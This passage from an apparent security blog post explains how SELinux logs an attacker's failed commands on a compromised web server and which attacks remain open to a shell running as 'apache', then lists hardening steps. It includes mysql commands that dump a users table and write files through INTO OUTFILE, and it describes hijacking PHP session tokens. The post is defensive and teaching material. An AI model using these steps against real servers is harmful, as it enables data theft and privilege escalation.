However, there are lots of commands that will fail because of SELinux, and these failures get logged.


Detecting the attack with logging

Meanwhile the attackers failed command attempts are getting logged by SELinux, and if savvy administrators have alerting configured, or regularly check all their logs, the hacking attempts can be detected.

In reality system administrators are very busy, so these are big ifs (unless fully configured SIEM systems are deployed).

For SELinux logging, if the auditing daemon is running (as it is by default on RedHat) then these messages will be in "/var/log/audit/audit.log" (otherwise "/var/log/messages", both of which should only be accessible by privileged users).

To manually search this log for failures in the context of the web-server you could do something like

cat /var/log/audit/audit.log | grep "type=AVC" | cut -d":" -f4

  denied  { getattr } for  pid=20137 comm="bash" path="/bin/rpm" dev=sda2 ino=351687 scontext=system_u



It is possible for an attacker to work away without triggering any SELinux alerts, but it is very difficult, and ideally an attacker needs a replica system which has a very similar policy to practise on.


It's a bit like playing the game operation... one false move and bzzzt... the alarm goes off.

More subtle attacks

However, even if direct privilege-escalation is not possible, with a remote shell as "apache", an attacker can do lots of things in the context of the web-server. Dependent on how the website and databases are configured, other attacks may be possible (even if the server is not fully compromised).

Examples of this could include active-session hijacking using server-side tokens in "/var/lib/php/session/" or "/tmp". This may allow an attacker to gain enough information to login to the website as active users, and attack their accounts.

This can often be done simply by using an attacking proxy (such as burp) to add the gained session token to a browser session. Of course, this can also be scripted to enable fast attacks against any active users.



Attacking via the database

Alternatively, running in the context of the web-server it is always possible to view other sensitive information, such as server-side code (PHP for example) and steal login details for the database.

The attacker could then proceed to attack the database, to steal information, or to write and read files on the filesystem as the database user.

If an attacker could get login details for a mysql database from server-side code, they could execute SQL queries such as:

mysql --user=databaseuser --password='password' websitedb -e "select * from users;"> output.txt

Alternatively, they could read or write files as the mysql user, which may help in their escalation process.

mysql --user=databaseuser --password='password' websitedb -e "SELECT 'whatever data you like' INTO OUTFILE '/tmp/test';"


If the database is running as "root", then you can probably see how this could lead to a full system compromise. (The database could be on another system, in which case it is this secondary system that could be compromised.)

SELinux can't prevent access to the database for "apache", because the website user needs to interact with it in order for the site to work, but maybe some of these other commands can be locked-down with a tougher SELinux policy.


What can you do about these issues? Add more security...

1) Identify and fix the website vulnerabilities.

This could be a difficult and lengthy process, which requires a high level of skill, especially in a custom-built websites, but should be done.

2) Limit outbound connections from the web-server on a firewall

For example for the web-server to be only allowed outbound access, just on port 80, and via a web-proxy that has some content-security.

3) Checking logs and reacting to security incidents

Should be done regularly, but is often omitted. Some sysadmins are unaware of the issues.

4) Run the database, the web-server, and any other services with restricted service accounts, such as "apache", "mysql", "ftp".

Never use root, this makes a Hackers life too easy

5) Deploy a tougher SELinux policy to block more commands for the web-server and database users

This can be difficult to do, and I would not suggest doing it to a production server without thorough testing beforehand. SELinux is complex and you can easily mess-up a live system with a simple oversight.

6) Have a look in your "/tmp" directories every now and then

If hackers are messy, they may well have left something behind.

7) Run a host-based or network-based IDS

Deploying an Intrusion Detection System (like snort for example) can alert you to common signatures from hacker activity.